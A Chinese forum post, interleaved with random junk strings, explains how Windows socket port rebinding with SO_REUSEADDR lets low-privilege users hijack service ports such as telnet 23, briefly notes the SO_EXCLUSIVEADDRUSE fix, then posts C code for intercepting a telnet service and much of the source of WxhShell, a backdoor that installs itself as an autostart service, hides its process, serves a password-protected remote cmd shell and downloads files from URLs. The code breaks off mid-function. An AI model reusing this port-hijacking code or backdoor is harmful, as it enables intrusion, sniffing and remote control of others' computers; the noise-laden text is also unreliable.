-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;8#6da, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \2u7>fU! 6c+29@ saddr.sin_family = AF_INET; ~0CNCP Y1lUO[F j saddr.sin_addr.s_addr = htonl(INADDR_ANY); \X
%#-y Sck!w 3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'R1C-U3w, $l)RMP} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [DpOI C+\z$/q 这意味着什么?意味着可以进行如下的攻击: "`K_5"F w5q6c%VZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 skeeec\V MNU7OX< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y:\<FLR}j T}\>8EEG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !=30s;- ,w "cY?~< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Sy?^+JdM/ trwo(p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c2V_|oL kPOk.F%) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HpbwW=;V b w1s?_P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 At>e4t2@ }vZfp5Y #include G l/3*J #include 2G|}ENC #include 2KXFXR #include &2:WezDF DWORD WINAPI ClientThread(LPVOID lpParam); !rgXB( int main() zx)}XOYf { ?`vGpi~ WORD wVersionRequested; j}lne^ h DWORD ret; !]"M]tyv\ WSADATA wsaData; ZLaht(`+ BOOL val; `?&C5*P SOCKADDR_IN saddr;
w)go79 SOCKADDR_IN scaddr; c 9gm% int err; s'/_0 SOCKET s; /hg^hF SOCKET sc; J}Z\I Y, int caddsize; u YFy4E3 HANDLE mt; %b
pQ= DWORD tid; Hv"qRuQ?[ wVersionRequested = MAKEWORD( 2, 2 ); z+fy&NPl err = WSAStartup( wVersionRequested, &wsaData ); \xOYa if ( err != 0 ) { 4EeVO5 printf("error!WSAStartup failed!\n"); aa]| return -1; Lz9|"F"V } Cjt].XR@ saddr.sin_family = AF_INET; j~rW
2( Q&$2F:4f& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y}}1]}VIK 1"A"AMZf saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T*k{^=6"! saddr.sin_port = htons(23);
B*`[8kb, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DbI)tDi5D { "@+Z1k-8U printf("error!socket failed!\n"); f U<<GK70 return -1; % T$!I (L& } *ax&}AHK[/ val = TRUE; }uD*\. //SO_REUSEADDR选项就是可以实现端口重绑定的 ZDK+>^A) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FKtCUq,: { &mJm'Ks printf("error!setsockopt failed!\n"); ;[C_ho return -1; yqb$,$ } c]ll89`|| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ) WkN34Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .$&vSOgd( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n Fwg pT 6[Mu3.T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kr<a6BEv5 { ;Uypv|xX ret=GetLastError(); fsKZ printf("error!bind failed!\n"); ^AwDZX return -1; @ uL4'@Ej } Rs]Y/9F;{ listen(s,2); 1b7 Q-elG while(1) 06af{FXsGb { G`v(4`tA caddsize = sizeof(scaddr); sEb*GF*.V //接受连接请求 lR
ZuXo9< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /jc;
2 if(sc!=INVALID_SOCKET) ){J ,Z*& { uq!d8{IMu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 27JZwlzZ if(mt==NULL) i:R_g] { KjV1->r# printf("Thread Creat Failed!\n"); +nFC&~q break; of_Om$ } ['c*<f"
D2 } 7?Twhs.O CloseHandle(mt); GKXd"8z] } wx/*un%2 closesocket(s); aH$DEs WSACleanup(); e&pt[W}X%u return 0; HvG~bZN } ,7Q b24A DWORD WINAPI ClientThread(LPVOID lpParam) mj& 4FQ#O* { t%s(xz#1 SOCKET ss = (SOCKET)lpParam; avMre_@V SOCKET sc; tiic>j\D unsigned char buf[4096]; .P!pC SOCKADDR_IN saddr; FPAj}as long num; O3L:v{Kn DWORD val; :N=S nyz DWORD ret; 7@!ne&8Z? //如果是隐藏端口应用的话,可以在此处加一些判断 ;3O=lo:$~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F`f8q\Fc saddr.sin_family = AF_INET; rV/! VJ6x saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %\!3tN saddr.sin_port = htons(23); 4:s!mHcz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .Nd_p{
{ @ojV8 printf("error!socket failed!\n"); &~N@M!`Dn return -1; kSqMI'89 } `Yo!sgPO\ val = 100; hRktvO)K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *edhJUT { /s`8=+\9 ret = GetLastError(); g/z7_Aq/ return -1; C1(0jUz } ^' b[#DG>F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V%w]HIhq { x)2ZbIDB:" ret = GetLastError(); MM/D5g return -1; *46hw(L } U NescZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U=KFbL1Q { ARJ} h printf("error!socket connect failed!\n"); >~* w closesocket(sc); X=X closesocket(ss); }woNI return -1; .5YW>P V } {#TZFB while(1) X2C&q$8 { } |? W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K2oyHw<mk //如果是嗅探内容的话,可以再此处进行内容分析和记录 OYk/K70l3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uU`Mq8)R num = recv(ss,buf,4096,0); ,=t}|!jx if(num>0) {edjvPlk send(sc,buf,num,0); kiR+ Dsl else if(num==0) D"GQlR break; W"H*Ad(V num = recv(sc,buf,4096,0); y/6%'56uF if(num>0) %@x.km3e2 send(ss,buf,num,0); Jbqm?Fy4X else if(num==0) J*"G*x#u break; \m3ca-Y } eQ eucmQd{ closesocket(ss);
T.#Vma closesocket(sc); L3^+`e return 0 ; 5(&'/U^ } U=\!`_f': }>~]q)] QMWDII&t ========================================================== 4A~1Z,"%v( GMYfcZ/,K 下边附上一个代码,,WXhSHELL &0%x6vea LIMPW w g ========================================================== GUdVsZjz( Jz6zJKcA #include "stdafx.h" zQyt 1&! 5"I8ric #include <stdio.h> 0fQMOTpOp #include <string.h> J^<}fRw #include <windows.h> {Z{!tR?+ #include <winsock2.h> ~jn~M_}K #include <winsvc.h> 4ROuy+Ms' #include <urlmon.h> QwgP+ M+ U8R*i7 #pragma comment (lib, "Ws2_32.lib") OykYXFv* #pragma comment (lib, "urlmon.lib") #u<n . &Uu8wFbIJ #define MAX_USER 100 // 最大客户端连接数 A1V^Gi@i #define BUF_SOCK 200 // sock buffer We*&\e+"T #define KEY_BUFF 255 // 输入 buffer
*B1%- 0GP\*Y8 #define REBOOT 0 // 重启 "jMSF@lr #define SHUTDOWN 1 // 关机 k_hs g6Ur. S{F'k;x/5 #define DEF_PORT 5000 // 监听端口 [BzwQ 4 YVS~|4hu?i #define REG_LEN 16 // 注册表键长度 SdQ"S-H #define SVC_LEN 80 // NT服务名长度 rq_0"A [,As;a*o // 从dll定义API E\dJb}"x % typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W"*~1$vf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y?@(%PTp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P\2UIAPa\b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IIIP<nyc =E10j.r // wxhshell配置信息 k9vzxZ%s: struct WSCFG { -Ay=*c.4 int ws_port; // 监听端口 ^4 ?LQ[t' char ws_passstr[REG_LEN]; // 口令 '\I!RAZ int ws_autoins; // 安装标记, 1=yes 0=no urA
kV#d# char ws_regname[REG_LEN]; // 注册表键名 i"J`$u char ws_svcname[REG_LEN]; // 服务名 &R;Cm]jt char ws_svcdisp[SVC_LEN]; // 服务显示名 j$jgEtPK9= char ws_svcdesc[SVC_LEN]; // 服务描述信息 +_ZXzzcO< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8|Vm6*TY&p int ws_downexe; // 下载执行标记, 1=yes 0=no ^L"ENsOs char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =UMqa;\K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0s'H(qE,_ vo JmNH }; mx;1'!'fr GFppcL@a // default Wxhshell configuration $PE{}`#g struct WSCFG wscfg={DEF_PORT, 5svM3 # "xuhuanlingzhe", Ir :y# 1, nb ,+!)+ "Wxhshell", %AnqT|\#, "Wxhshell", 1aBQ.-E- "WxhShell Service", "[tb-$ER "Wrsky Windows CmdShell Service", &D*22R4{CX "Please Input Your Password: ", %1^E;n 1, ;;? Zd " http://www.wrsky.com/wxhshell.exe", .*W_;F o "Wxhshell.exe" S@[B?sNj }; 6
r}R%{ \4 5%K|
// 消息定义模块 0G}]d17ho char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )CM3vL { char *msg_ws_prompt="\n\r? for help\n\r#>"; ?KMGk]_< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (Ceq@eAlT char *msg_ws_ext="\n\rExit."; rVF7!|& char *msg_ws_end="\n\rQuit."; %kSpMj| char *msg_ws_boot="\n\rReboot..."; ipdGAG char *msg_ws_poff="\n\rShutdown..."; C|hD^m char *msg_ws_down="\n\rSave to "; 1}Mdo&:t fA{t\ char *msg_ws_err="\n\rErr!"; Q@w=Jt< char *msg_ws_ok="\n\rOK!"; .\:{6_ ]mSkjKw char ExeFile[MAX_PATH]; t],5{UF int nUser = 0; jNu`umS HANDLE handles[MAX_USER]; Lx#CFrLQ* int OsIsNt; .R5(k'g? LOX} SERVICE_STATUS serviceStatus; KKJ)BG?qZ SERVICE_STATUS_HANDLE hServiceStatusHandle; CE;J`; CP"
// 函数声明 5KI lU78 int Install(void); $2'Q'Mx[gd int Uninstall(void); q@0g KC&U int DownloadFile(char *sURL, SOCKET wsh); *j"u~ NF int Boot(int flag); FQW{c3%qZ void HideProc(void); *p Q'w int GetOsVer(void); Vnvfu!>( int Wxhshell(SOCKET wsl); vE<z0l void TalkWithClient(void *cs); GZCX m+ int CmdShell(SOCKET sock);
0V[`zOO(o int StartFromService(void); #$;i 4a int StartWxhshell(LPSTR lpCmdLine); ll8Zo+-[ E@%9u# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tw+V$:$$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); nXFPoR)T (`me}8 // 数据结构和表定义 xq-TT2}<L SERVICE_TABLE_ENTRY DispatchTable[] = pf[m"t6G~ { S&Szc0-|k {wscfg.ws_svcname, NTServiceMain}, Bt[Wh@ {NULL, NULL} lJIcU
RI4 }; !Pf6UNN' P'Diie // 自我安装 8k|&&3_[? int Install(void) NL}Q3Vv1. { }ofx?s} char svExeFile[MAX_PATH]; L-z9n@=8\ HKEY key; Gw1Rp strcpy(svExeFile,ExeFile); &&$,BFY4 TcKt // 如果是win9x系统,修改注册表设为自启动 PqVz^(Wz if(!OsIsNt) { N6UPD11}6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` 5lW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @:%p#$V RegCloseKey(key); cf`g.9pjlx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ISaO
C{2- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R+b~m!58 RegCloseKey(key); yi&6HNb return 0; c]1\88 } YQ$EN>.eO }
_CImf1 } vzH"O= else { /*kc|V i2&I<: // 如果是NT以上系统,安装为系统服务 QpI\\Zt6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lV
M)'m if (schSCManager!=0) 0Q4i<4 XW { 7Adg; SC_HANDLE schService = CreateService U6x$R O! ( o>i@2_r\&H schSCManager, TnXx;v wscfg.ws_svcname, (mOL<h[)IP wscfg.ws_svcdisp, rJ=r_v SERVICE_ALL_ACCESS, +L
U.QI' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Wm'@4bH SERVICE_AUTO_START, d$qi.%<kh SERVICE_ERROR_NORMAL, 7,7-E&d svExeFile, Or3GrZ!H NULL, tQWjNP~ NULL, tB{HH%cV NULL, =V>inH NULL, #w6ty<b; NULL Hzc5BC ); 6tZ ak1=V if (schService!=0) 64LAZEQX { [~{'"-3L0 CloseServiceHandle(schService); ;m#_Rj6 CloseServiceHandle(schSCManager); ?mn&b G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 57(5+Zme strcat(svExeFile,wscfg.ws_svcname); =lZtI6tZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x +]ek
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Vat2'>+ RegCloseKey(key); W87kE?, return 0; 4H*M^?h\# } h-+vNhH } ?d' vIpzO! CloseServiceHandle(schSCManager); U+-R2w]#q_ } 7#+>1 "\ } C'.^2s#e8 'PWX19 return 1; y%!zXK`cl] } S;iJQS TD.t) // 自我卸载 Dn[u zY6 int Uninstall(void) t>}(`0 { VOGx HKEY key; vww>] Z} Zdy{e|-Zn if(!OsIsNt) { V~MyX&` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gN;
E}AQt RegDeleteValue(key,wscfg.ws_regname); tUT:vK` RegCloseKey(key); (i;,D- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )<(3 .M RegDeleteValue(key,wscfg.ws_regname); p)Fi{%bc RegCloseKey(key); 'y&DOy/| return 0; ~c`%k>$
} eZ8DW6 l*
} sv)4e)1 } vlC$0P else { I3;03X<2 LbUH`0:%t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p`)Mk<`dYD if (schSCManager!=0) C8KV<k { {HbSty SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^;'FC vd if (schService!=0) Xmw%f[Xl { Jp"[` m if(DeleteService(schService)!=0) { Vy 7 )_D CloseServiceHandle(schService); 45Lzq6 CloseServiceHandle(schSCManager); oq9gFJG( return 0; &G)/i* } nSpOTQ CloseServiceHandle(schService); V;d<S@$ } U8OVn(qV CloseServiceHandle(schSCManager); $CDRIn50 } nhy:5eSK } #H;1)G(/ m+QZ| return 1; cJ#n<Rsz } *r)dtI* I{i6e'.jP // 从指定url下载文件 }poLHS/ int DownloadFile(char *sURL, SOCKET wsh) 1v inO! { n{(,r' HRESULT hr; #'4Psz char seps[]= "/"; !.{"Ttn;s char *token; 7QdboEa char *file; _'Rg7zHTp- char myURL[MAX_PATH]; -ND1+`yD char myFILE[MAX_PATH]; !@>q^_Gez nCDG PzJ strcpy(myURL,sURL); D<'G\#n3I= token=strtok(myURL,seps); C6A!JegU while(token!=NULL) )Lg~2]'?j { C9 j{:& file=token; 9L>73P{_ token=strtok(NULL,seps); .UYhj8 } NAX`y2z (Rsf;VPO GetCurrentDirectory(MAX_PATH,myFILE); {wD:!\5 strcat(myFILE, "\\"); e"|ZTg+U strcat(myFILE, file); i,2eoM)FB send(wsh,myFILE,strlen(myFILE),0); 3LZvlcLb send(wsh,"...",3,0); #giH`|#d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pP%9MSCi if(hr==S_OK) <07]w$m/ return 0; Mtc - else ]fSpG\yU return 1; e_}tK1XY |3BxNFe`% } xAr&sGMA )JhB!P( // 系统电源模块 R-tZC9
@ int Boot(int flag) W9;9\k { X/h|;C*9 HANDLE hToken; MS\?+8|SV( TOKEN_PRIVILEGES tkp; Ec&_& Z+ _xX if(OsIsNt) { Y+eDE:4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |3g'~E?$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %$N,6}n tkp.PrivilegeCount = 1; ?3gf)g= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #'y&M t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W4(GI]`_+ if(flag==REBOOT) { 6Zx5^f(qd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dEkAUH return 0; @U:PXCvh } |CAMdU else { !Y 9V1oVf" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7bQST0 ? return 0; Ymf@r?F< } %~[@5<p } pJIJ"o'>.9 else { o%*C7bU if(flag==REBOOT) { 7CwWf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S
R s return 0; .\:MB7p } N~P1^x~ else { :q~5Xw/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VAA="yN return 0; <fHN^O0TS } LtPaTe } Hc-up.?v'v q2/kegAT return 1; $,0EV9+af } $xis4/2 E=91k. // win9x进程隐藏模块 \Nk578+AA void HideProc(void) sQ+s3x1y {
Tj}%G .>S1do+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J>"qeR
/ if ( hKernel != NULL ) +
Y!:@d { s^m`qi(H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p0PK-e`@: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pG22Nx FreeLibrary(hKernel); JvNd'u)Z< } 3p]\l ]= /qFY$vj return; = ?BhtW } O:ACp<@ "{kE#`c6<n // 获取操作系统版本 "{Hl! Zq/ int GetOsVer(void) pu_?)U { ]x(6^:D5 OSVERSIONINFO winfo; Dl,sl>{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sjo-Xf} GetVersionEx(&winfo); LW#U+bv]Dq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +S'm<}"1 return 1; 8_pyfb else nJ$2RN return 0; TpI8mDO\W } FL4BdJ\ '6\ZgOO9 // 客户端句柄模块 p+0gE5 int Wxhshell(SOCKET wsl) vy`
lfbX@ { "H=N>=g0E SOCKET wsh; ^XG$?2<U struct sockaddr_in client; E!uQ>'iq. DWORD myID; D&i,`j (" +clb` while(nUser<MAX_USER) {,1>( { 8|Ob7+ int nSize=sizeof(client); <[w5M?n8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hj{)6dBX% if(wsh==INVALID_SOCKET) return 1; M+%qVwp x U"g~hT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pz\ByD if(handles[nUser]==0) 4iZg2"[D closesocket(wsh); CugZ!>;^ else ?9>wG7cps7 nUser++; ]68FGH } .jiJgUa7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] ^?w0A *!E~4z= return 0; %m
[l/,2x } bdfs'udt9 R0mkEM // 关闭 socket j<`3xd' void CloseIt(SOCKET wsh) eI-SWwmv/u { #f%fY%5q closesocket(wsh); mwsdl^c nUser--; apt$e$g ExitThread(0); :X:s'I4J
D } K;w2qc.+ T8%!l40v // 客户端请求句柄 EhW"s%Q void TalkWithClient(void *cs) Lf%=vd { dp&G([ Zz+v3o0 SOCKET wsh=(SOCKET)cs; U| ?68B3 char pwd[SVC_LEN]; mU"Am0Bdjq char cmd[KEY_BUFF]; r;"D>IM\ char chr[1]; n-{ d7haOa int i,j; x+ER 3wDD@ k_uI&, while (nUser < MAX_USER) { *$`N5;7'` sKJr34 if(wscfg.ws_passstr) { 0-;>O|U3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =vvd)og //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lrL:G[rt //ZeroMemory(pwd,KEY_BUFF); Dr[;\/|# i=0; a)c;z@r while(i<SVC_LEN) { ^q#[oO wwQ2\2w>Hm // 设置超时 ef_H*e fd_set FdRead; lw99{y3<< struct timeval TimeOut; A{M7 FD_ZERO(&FdRead); iOSt=-p FD_SET(wsh,&FdRead); gs=ok8w TimeOut.tv_sec=8; "C(yuVK1G TimeOut.tv_usec=0; ru6M9\h* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R MOs1<D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >`/s+V cvE) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QgQclML1| pwd =chr[0]; u;!h if(chr[0]==0xd || chr[0]==0xa) { yla-X|> pwd=0; t_*x.{x- break; {QaO\{J= } 4;
0#Z^p i++; !]E]Xd< } ZJc{P5a1J r :$*pC&{ // 如果是非法用户,关闭 socket m#i4_F=^b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e|5@7~Vi } I/!AjB8W4 %NJ0Y(:9( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G-|c%g!ejf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *uf)t,% >;R`Q9s7 while(1) { .MRN)p 5f?GSHA} ZeroMemory(cmd,KEY_BUFF); |)" y ^suQ7#g // 自动支持客户端 telnet标准 "I:* j=0; ^IyQzBOj while(j<KEY_BUFF) { .'Q*_};W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GQk/ G0*& cmd[j]=chr[0]; e$WAf`* if(chr[0]==0xa || chr[0]==0xd) { 6({)O1Z cmd[j]=0; []aw;\7}Y break; %<+uJ'pj } 7R
m\# j++; NZ&ZK@h}. } ao=e{R) mqHH1} // 下载文件 WVhQ?2@ } if(strstr(cmd,"http://")) { !Ur.b
@ke send(wsh,msg_ws_down,strlen(msg_ws_down),0); BD;T>M if(DownloadFile(cmd,wsh)) lJ]QAO send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*2s-,b * else Eb@**% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); esE!i0% } kX`m(
N$ else { N*6~$zl& o|vL:| 8Q switch(cmd[0]) { .-![ ra ],[<^=| // 帮助 SZLugyZ2Y case '?': { TBQ68o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D`!BjhlW
break; q_`j-! }
!bCL/[ // 安装 =nc;~u|] case 'i': { M!mw6';k if(Install()) K(lSR send(wsh,msg_ws_err,strlen(msg_ws_err),0); OcPgw/
I else /kK!xe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~5zv4NX break; bZ:+q1
D } *PV7s // 卸载 (V&d:tW case 'r': { 9}a$0H
h if(Uninstall()) ]\A=[T^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #NGtba else 7&wxnxSk^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{>Z0+ break; : _:)S } .9=4Af // 显示 wxhshell 所在路径 .5!`wwVi case 'p': { ,7:-V<'Yv char svExeFile[MAX_PATH]; ]s^+/8d= strcpy(svExeFile,"\n\r"); Vy[xu$y strcat(svExeFile,ExeFile); (ER9.k2 send(wsh,svExeFile,strlen(svExeFile),0); Wa.xm_4s2 break; "4Q_F3?_` } UcD<vg"p // 重启 Ayg^<)JWh case 'b': { SCe$v76p# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r-xP6 if(Boot(REBOOT)) )*XWe|H_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PTXgIC else { ILl~f\xG) closesocket(wsh); !l0"nPM= ExitThread(0); .{ljhE: } cF=W hP*f break; cN?/YkW?] } %+,*$wk#* // 关机 PN8#T:E case 'd': { 7NWkN7:B send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _h \L6. if(Boot(SHUTDOWN)) &Wb"/Hn2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "u^vBd[} else { .U@u | closesocket(wsh); ~$C<^?"b ExitThread(0); 3@ Fa } <]KQ$8dtD break; cLwnV. } mI DVN // 获取shell <fDT/ case 's': { ^0cbN[~/ns CmdShell(wsh); D_JGbNigA closesocket(wsh); ~8mz.ZdY ExitThread(0); hDSf>X_*_G break; [xrsa!$ } ^xNzppz`]C // 退出 3h=kn@I case 'x': { 6)?u8K5%r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7%? bl CloseIt(wsh); OaY89ko break; ){#INmsF } pg7~%E4 // 离开
JrLh=0i9 case 'q': { |te=DCO send(wsh,msg_ws_end,strlen(msg_ws_end),0); _6,\;"it?8 closesocket(wsh); w|S b`eR WSACleanup(); 3<M yb exit(1); w:deQ:k break; ^,ISz-4 } D84&=EpVZ } Q4LPi;{\ } YG8C<g6E7 (tVT&eO // 提示信息 [:gg3Qzx if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Gyn.9\ } F@q9UlfB- } )fIG4#%\ ,<#Rk'y$ return; uI?Z_ } f R@Cg
sw %CvVu)tc // shell模块句柄 *w _ o8!3- int CmdShell(SOCKET sock) aN07\ { >2pxl(i STARTUPINFO si; -2[4 @ ZeroMemory(&si,sizeof(si)); BgT ^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S#8)N` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D QxuV1 PROCESS_INFORMATION ProcessInfo; WrDFbcH char cmdline[]="cmd";
%!nN<% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d|Wqx7t]P return 0; zz(|V } RnRUJNlaG ak|
VnNa] // 自身启动模式 XLaD#J int StartFromService(void) !i (V.A { fi*b]a\' typedef struct <
